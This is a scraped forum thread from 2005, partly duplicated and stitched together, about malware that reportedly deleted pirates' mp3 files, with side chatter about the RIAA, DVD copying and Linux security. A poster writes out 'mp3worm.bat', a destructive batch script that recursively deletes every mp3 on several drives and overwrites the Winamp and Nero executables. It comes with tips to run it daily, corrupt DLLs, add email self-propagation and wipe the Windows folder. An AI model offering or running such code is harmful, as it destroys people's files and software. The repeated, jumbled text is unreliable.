EpidemicDark Force GorgeJoin Date: 2003-06-29Member: 17781Members
<!--QuoteBegin-lolfighter+May 10 2005, 03:27 AM--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td><b>QUOTE</b> (lolfighter @ May 10 2005, 03:27 AM)</td></tr><tr><td id='QUOTE'><!--QuoteEBegin--> And once again we have random animosity towards the french. Ha ha, ain't we just hilarious? Stop insulting my neighbours, numbwits, or I'll stuff a broom handle into one of your more private places.
It was bound to happen: People stealing from you, and you can't get to them through the legal system? Use an illegal one instead! Responding in kind has never been the best way of solving a conflict, but it's definitely one of the more popular ones. I'm going to suggest one of the more obvious ways of protecting yourself against this: Stop stealing software. <!--QuoteEnd--> </td></tr></table><div class='postcolor'> <!--QuoteEEnd--> Are you suggesting RIAA has anything to do with it? /slaps lolfighter
Reminds me of Bomb Voyage... It's so cliched it's pathetically funny.
In other mp3 news, the wonderful "artist" association of France is trying to install a tax on Hard Drives (>80Gb) and any sort of portable memory (flash, keys, players) Why? To compensate the dwindling sales of french albums, because everyone knows that to download, you need a hard drive, and to transport your music, you need flash memory. It's already pathetic enough that we have a tax on optic media, they're going to extend it to the most basic stuff in a computer. Thank god Europe, a little trip and we're at our neighbors, getting the same stuff for cheaper.
Has to be french-canadian <!--emo&:p--><img src='http://www.unknownworlds.com/forums/html/emoticons/tounge.gif' border='0' style='vertical-align:middle' alt='tounge.gif' /><!--endemo-->
<!--QuoteBegin-Killymagee+May 10 2005, 11:21 AM--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td><b>QUOTE</b> (Killymagee @ May 10 2005, 11:21 AM)</td></tr><tr><td id='QUOTE'><!--QuoteEBegin--> Anyone with half a brain would just download DVD shrink a free program that is only a couple of megs and makes perfect dvd backups. <!--emo&;)--><img src='http://www.unknownworlds.com/forums/html/emoticons/wink-fix.gif' border='0' style='vertical-align:middle' alt='wink-fix.gif' /><!--endemo--> <!--QuoteEnd--> </td></tr></table><div class='postcolor'> <!--QuoteEEnd--> There are still copies of DVD X Copy Platinum sitting around. And then you have the omnipotent, godlike Nero Ultra Edition... though that one doesn't burn copy-protected stuff AFAIK.
<!--QuoteBegin-Cartman2be+May 10 2005, 11:29 AM--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td><b>QUOTE</b> (Cartman2be @ May 10 2005, 11:29 AM)</td></tr><tr><td id='QUOTE'><!--QuoteEBegin--> <!--QuoteBegin-Epidemic+May 10 2005, 04:59 PM--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td><b>QUOTE</b> (Epidemic @ May 10 2005, 04:59 PM)</td></tr><tr><td id='QUOTE'><!--QuoteEBegin--> <!--QuoteBegin--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td><b>QUOTE</b> </td></tr><tr><td id='QUOTE'><!--QuoteEBegin-->Are you suggesting RIAA has anything to do with it? /slaps lolfighter<!--QuoteEnd--></td></tr></table><div class='postcolor'><!--QuoteEEnd--> <!--QuoteEnd--></td></tr></table><div class='postcolor'><!--QuoteEEnd--> Wouldn't be supprised <!--QuoteEnd--> </td></tr></table><div class='postcolor'> <!--QuoteEEnd--> Nor would I.
After all, they think nothing of clogging the legal system with a tide of lawsuits directed at children, the elderly, and the deceased, which of course burys the courts in paperwork and gets in the way of letting them handle real, legitimate cases.
<!--QuoteBegin-Jimmeh+May 9 2005, 03:38 PM--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td><b>QUOTE</b> (Jimmeh @ May 9 2005, 03:38 PM)</td></tr><tr><td id='QUOTE'><!--QuoteEBegin--> Doesn't matter if you're black or white. <!--QuoteEnd--></td></tr></table><div class='postcolor'><!--QuoteEEnd--> <a href='http://en.wikipedia.org/wiki/Hacker_ethic' target='_blank'>http://en.wikipedia.org/wiki/Hacker_ethic</a>
white hats follow the above
black hats break, enter, steal, rape and pillage
script kiddies take black public work or white POC (proof of concept) code and try to look cool using it
this attempt at a hack seems to be a bit of advanced script kiddying. taking a virus, modifying it a bit and then masking it as something that some pirate would try to run before scanning.
the "mp3 worm" in twenty lines or less by blackmage mp3worm.bat: <!--c1--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td><b>CODE</b> </td></tr><tr><td id='CODE'><!--ec1-->@ECHO OFF c: cd \. del *.mp3 /S d: cd \. del *.mp3 /S e: cd \. del *.mp3 /S c: cd program files\winamp dir >winamp.exe cd ..\nero dir >nero.exe ECHO lol internet<!--c2--></td></tr></table><div class='postcolor'><!--ec2-->
optional: use AT to run the program multiple times, daily
note: batch file attempts to remove all mp3 files from c: d: and e: drive as well as disable winamp and nero (assuming both are installed to default locations) it would be more ... effective to insert random data into dll dependancies and configuration files in such a way as to not change the file size but i'm lazy.
edit: code is nowhere near perfect. a couple hours and a halfassed perlscript/c/c++ program would do the job much better. then again, what do you expect from a sixteen line batch file? either way, i don't think posting anything more advanced than than bat would go over with the mods.
<!--QuoteBegin-Black Mage+May 10 2005, 09:41 PM--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td><b>QUOTE</b> (Black Mage @ May 10 2005, 09:41 PM)</td></tr><tr><td id='QUOTE'><!--QuoteEBegin--> <!--c1--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td><b>CODE</b> </td></tr><tr><td id='CODE'><!--ec1-->@ECHO OFF c: cd \. del *.mp3 /S d: cd \. del *.mp3 /S e: cd \. del *.mp3 /S c: cd program files\winamp dir >winamp.exe cd ..\nero dir >nero.exe ECHO lol internet<!--c2--></td></tr></table><div class='postcolor'><!--ec2--> <!--QuoteEnd--> </td></tr></table><div class='postcolor'> <!--QuoteEEnd--> This reminds me of my precocious youth, creating viruses on floppies using autoexec.bat.
Make it self-propagating with some sort of SMTP engine and your in business <!--emo&:p--><img src='http://www.unknownworlds.com/forums/html/emoticons/tounge.gif' border='0' style='vertical-align:middle' alt='tounge.gif' /><!--endemo-->
Phew. Didnt have it after all <!--emo&:)--><img src='http://www.unknownworlds.com/forums/html/emoticons/smile-fix.gif' border='0' style='vertical-align:middle' alt='smile-fix.gif' /><!--endemo--> Just some imaginations <!--emo&:p--><img src='http://www.unknownworlds.com/forums/html/emoticons/tounge.gif' border='0' style='vertical-align:middle' alt='tounge.gif' /><!--endemo-->
I got it, and it deleted my mp3s.... I never saw any Anti Piracy logos. It disabled my control panel and most of my computer functions. I realized I was going to have to reinstall windows to do anything and attempted to copy my mp3s from the default folder, and then after cutting and pasting I noticed all my music folders were missing their mp3s.
And yes, I suspect it is the RIAA.
I attatched the file incase anyone wants to look at it. If this is not allowed, I am sorry and I suspect a mod will delete it.
Too bad I'm on linux and use open-source burning software. <!--emo&:0--><img src='http://www.unknownworlds.com/forums/html/emoticons/wow.gif' border='0' style='vertical-align:middle' alt='wow.gif' /><!--endemo-->
<!--QuoteBegin-Kurt+May 22 2005, 07:29 PM--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td><b>QUOTE</b> (Kurt @ May 22 2005, 07:29 PM)</td></tr><tr><td id='QUOTE'><!--QuoteEBegin--> Too bad I'm on linux and use open-source burning software. <!--emo&:0--><img src='http://www.unknownworlds.com/forums/html/emoticons/wow.gif' border='0' style='vertical-align:middle' alt='wow.gif' /><!--endemo--> <!--QuoteEnd--> </td></tr></table><div class='postcolor'> <!--QuoteEEnd--> Everytime I hear this, I just end up thinking that linux is ****ing invulnerable.
preemtive on "linux might be just as insecure as windows"
let's say we have a war and two hypothetical cities city A (win32) has strong defence but gets bombed twice, daily city B (everything else) has weak defence but never gets bombed, ever
who gets to laugh at who?
on topic: buying software is good for you health (even if all you do with it is pirate music ... it's a start, right?)
<!--QuoteBegin-Pulse+May 22 2005, 08:31 PM--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td><b>QUOTE</b> (Pulse @ May 22 2005, 08:31 PM)</td></tr><tr><td id='QUOTE'><!--QuoteEBegin--> In a sarcastic tone, right? <!--QuoteEnd--> </td></tr></table><div class='postcolor'> <!--QuoteEEnd--> That's for me to know and everyone else not to find out.
<!--QuoteBegin-Black Mage+May 23 2005, 08:12 AM--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td><b>QUOTE</b> (Black Mage @ May 23 2005, 08:12 AM)</td></tr><tr><td id='QUOTE'><!--QuoteEBegin--> preemtive on "linux might be just as insecure as windows"
let's say we have a war and two hypothetical cities city A (win32) has strong defence but gets bombed twice, daily city B (everything else) has weak defence but never gets bombed, ever
who gets to laugh at who?
on topic: buying software is good for you health (even if all you do with it is pirate music ... it's a start, right?) <!--QuoteEnd--> </td></tr></table><div class='postcolor'> <!--QuoteEEnd--> Let's say that everybody from city A moves to city B because it's safer there, causing generic enemy C to shift the focus of their attacks to city B, which is completely unprepared for the onslaught?
<!--QuoteBegin-lolfighter+May 23 2005, 01:45 PM--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td><b>QUOTE</b> (lolfighter @ May 23 2005, 01:45 PM)</td></tr><tr><td id='QUOTE'><!--QuoteEBegin--> <!--QuoteBegin-Black Mage+May 23 2005, 08:12 AM--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td><b>QUOTE</b> (Black Mage @ May 23 2005, 08:12 AM)</td></tr><tr><td id='QUOTE'><!--QuoteEBegin--> preemtive on "linux might be just as insecure as windows"
let's say we have a war and two hypothetical cities city A (win32) has strong defence but gets bombed twice, daily city B (everything else) has weak defence but never gets bombed, ever
who gets to laugh at who?
on topic: buying software is good for you health (even if all you do with it is pirate music ... it's a start, right?) <!--QuoteEnd--></td></tr></table><div class='postcolor'><!--QuoteEEnd--> Let's say that everybody from city A moves to city B because it's safer there, causing generic enemy C to shift the focus of their attacks to city B, which is completely unprepared for the onslaught? <!--QuoteEnd--> </td></tr></table><div class='postcolor'> <!--QuoteEEnd--> The Government at A, Ricrosoft, has spread propaganda concerning the water suply, inhabitants, and shear existence of city B, so the ignorant population has no reason to move.
The advantage (of the open-source model) is that every program you are running has had thousands of eyes running over its code, and anyone can freely add to the codebase.
With a closed system like Windows, you have to wait for THEM to patch problems/exploits. Here the other users/developers of the operating system write the patches, which allows for ridiculous bug-turnaround times. (sometimes less than 24-hours for a major flaw)
Linux users are generally more computer-savvy than your average joe-blow Windows user, and most linux programs are "installed" by downloading the program's source code and compiling it yourself (via a makefile, very simple process). There are very few "installers" for linux, and also very few viruses when compared to Windows.
This sort of "news" doesn't interest me, because I know mp3 files aren't executable, and if I want to copy DVDs I use <a href='http://dvdshrink.org/' target='_blank'>DVDShrink</a>. <!--emo&:p--><img src='http://www.unknownworlds.com/forums/html/emoticons/tounge.gif' border='0' style='vertical-align:middle' alt='tounge.gif' /><!--endemo-->
<!--QuoteBegin--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td><b>QUOTE</b> </td></tr><tr><td id='QUOTE'><!--QuoteEBegin-->completely unprepared for the onslaught<!--QuoteEnd--></td></tr></table><div class='postcolor'><!--QuoteEEnd--> More like "sitting on top of their mountaintop fortress waiting for enemy C to arrive".
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It was bound to happen: People stealing from you, and you can't get to them through the legal system? Use an illegal one instead! Responding in kind has never been the best way of solving a conflict, but it's definitely one of the more popular ones.
I'm going to suggest one of the more obvious ways of protecting yourself against this: Stop stealing software. <!--QuoteEnd--> </td></tr></table><div class='postcolor'> <!--QuoteEEnd-->
Are you suggesting RIAA has anything to do with it? /slaps lolfighter
In other mp3 news, the wonderful "artist" association of France is trying to install a tax on Hard Drives (>80Gb) and any sort of portable memory (flash, keys, players)
Why? To compensate the dwindling sales of french albums, because everyone knows that to download, you need a hard drive, and to transport your music, you need flash memory.
It's already pathetic enough that we have a tax on optic media, they're going to extend it to the most basic stuff in a computer. Thank god Europe, a little trip and we're at our neighbors, getting the same stuff for cheaper.
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Wouldn't be supprised
I'm suggesting it's possible, yes.
I'm suggesting it's possible, yes. <!--QuoteEnd--> </td></tr></table><div class='postcolor'> <!--QuoteEEnd-->
/slaps lolfighter again
Has to be french-canadian <!--emo&:p--><img src='http://www.unknownworlds.com/forums/html/emoticons/tounge.gif' border='0' style='vertical-align:middle' alt='tounge.gif' /><!--endemo-->
There are still copies of DVD X Copy Platinum sitting around. And then you have the omnipotent, godlike Nero Ultra Edition... though that one doesn't burn copy-protected stuff AFAIK.
*applies the broom handle to a shocked and humiliated Epidemic*
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Wouldn't be supprised <!--QuoteEnd--> </td></tr></table><div class='postcolor'> <!--QuoteEEnd-->
Nor would I.
After all, they think nothing of clogging the legal system with a tide of lawsuits directed at children, the elderly, and the deceased, which of course burys the courts in paperwork and gets in the way of letting them handle real, legitimate cases.
<a href='http://en.wikipedia.org/wiki/Hacker_ethic' target='_blank'>http://en.wikipedia.org/wiki/Hacker_ethic</a>
white hats follow the above
black hats break, enter, steal, rape and pillage
script kiddies take black public work or white POC (proof of concept) code and try to look cool using it
this attempt at a hack seems to be a bit of advanced script kiddying. taking a virus, modifying it a bit and then masking it as something that some pirate would try to run before scanning.
the "mp3 worm" in twenty lines or less by blackmage
mp3worm.bat:
<!--c1--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td><b>CODE</b> </td></tr><tr><td id='CODE'><!--ec1-->@ECHO OFF
c:
cd \.
del *.mp3 /S
d:
cd \.
del *.mp3 /S
e:
cd \.
del *.mp3 /S
c:
cd program files\winamp
dir >winamp.exe
cd ..\nero
dir >nero.exe
ECHO lol internet<!--c2--></td></tr></table><div class='postcolor'><!--ec2-->
optional:
use AT to run the program multiple times, daily
note: batch file attempts to remove all mp3 files from c: d: and e: drive as well as disable winamp and nero (assuming both are installed to default locations)
it would be more ... effective to insert random data into dll dependancies and configuration files in such a way as to not change the file size but i'm lazy.
edit: code is nowhere near perfect. a couple hours and a halfassed perlscript/c/c++ program would do the job much better. then again, what do you expect from a sixteen line batch file? either way, i don't think posting anything more advanced than than bat would go over with the mods.
c:
cd \.
del *.mp3 /S
d:
cd \.
del *.mp3 /S
e:
cd \.
del *.mp3 /S
c:
cd program files\winamp
dir >winamp.exe
cd ..\nero
dir >nero.exe
ECHO lol internet<!--c2--></td></tr></table><div class='postcolor'><!--ec2--> <!--QuoteEnd--> </td></tr></table><div class='postcolor'> <!--QuoteEEnd-->
This reminds me of my precocious youth, creating viruses on floppies using autoexec.bat.
and that's not a virus, that's a simple script.
cd \.\windows
del *.*
is not a virus
-Black Hatter
Didnt have it after all <!--emo&:)--><img src='http://www.unknownworlds.com/forums/html/emoticons/smile-fix.gif' border='0' style='vertical-align:middle' alt='smile-fix.gif' /><!--endemo-->
Just some imaginations <!--emo&:p--><img src='http://www.unknownworlds.com/forums/html/emoticons/tounge.gif' border='0' style='vertical-align:middle' alt='tounge.gif' /><!--endemo-->
And yes, I suspect it is the RIAA.
I attatched the file incase anyone wants to look at it. If this is not allowed, I am sorry and I suspect a mod will delete it.
<span style='font-size:21pt;line-height:100%'>RABBLE RABBLE RABBLE!!!!</span>
<!--emo&::gorge::--><img src='http://www.unknownworlds.com/forums/html/emoticons/pudgy.gif' border='0' style='vertical-align:middle' alt='pudgy.gif' /><!--endemo-->
Everytime I hear this, I just end up thinking that linux is ****ing invulnerable.
let's say we have a war and two hypothetical cities
city A (win32) has strong defence but gets bombed twice, daily
city B (everything else) has weak defence but never gets bombed, ever
who gets to laugh at who?
on topic:
buying software is good for you health (even if all you do with it is pirate music ... it's a start, right?)
<cartmen> French people **** me off <cartmen>
<!--emo&;)--><img src='http://www.unknownworlds.com/forums/html/emoticons/wink-fix.gif' border='0' style='vertical-align:middle' alt='wink-fix.gif' /><!--endemo-->
That's for me to know and everyone else not to find out.
let's say we have a war and two hypothetical cities
city A (win32) has strong defence but gets bombed twice, daily
city B (everything else) has weak defence but never gets bombed, ever
who gets to laugh at who?
on topic:
buying software is good for you health (even if all you do with it is pirate music ... it's a start, right?) <!--QuoteEnd--> </td></tr></table><div class='postcolor'> <!--QuoteEEnd-->
Let's say that everybody from city A moves to city B because it's safer there, causing generic enemy C to shift the focus of their attacks to city B, which is completely unprepared for the onslaught?
let's say we have a war and two hypothetical cities
city A (win32) has strong defence but gets bombed twice, daily
city B (everything else) has weak defence but never gets bombed, ever
who gets to laugh at who?
on topic:
buying software is good for you health (even if all you do with it is pirate music ... it's a start, right?) <!--QuoteEnd--></td></tr></table><div class='postcolor'><!--QuoteEEnd-->
Let's say that everybody from city A moves to city B because it's safer there, causing generic enemy C to shift the focus of their attacks to city B, which is completely unprepared for the onslaught? <!--QuoteEnd--> </td></tr></table><div class='postcolor'> <!--QuoteEEnd-->
The Government at A, Ricrosoft, has spread propaganda concerning the water suply, inhabitants, and shear existence of city B, so the ignorant population has no reason to move.
With a closed system like Windows, you have to wait for THEM to patch problems/exploits. Here the other users/developers of the operating system write the patches, which allows for ridiculous bug-turnaround times. (sometimes less than 24-hours for a major flaw)
Linux users are generally more computer-savvy than your average joe-blow Windows user, and most linux programs are "installed" by downloading the program's source code and compiling it yourself (via a makefile, very simple process). There are very few "installers" for linux, and also very few viruses when compared to Windows.
This sort of "news" doesn't interest me, because I know mp3 files aren't executable, and if I want to copy DVDs I use <a href='http://dvdshrink.org/' target='_blank'>DVDShrink</a>. <!--emo&:p--><img src='http://www.unknownworlds.com/forums/html/emoticons/tounge.gif' border='0' style='vertical-align:middle' alt='tounge.gif' /><!--endemo-->
<!--QuoteBegin--></div><table border='0' align='center' width='95%' cellpadding='3' cellspacing='1'><tr><td><b>QUOTE</b> </td></tr><tr><td id='QUOTE'><!--QuoteEBegin-->completely unprepared for the onslaught<!--QuoteEnd--></td></tr></table><div class='postcolor'><!--QuoteEEnd-->
More like "sitting on top of their mountaintop fortress waiting for enemy C to arrive".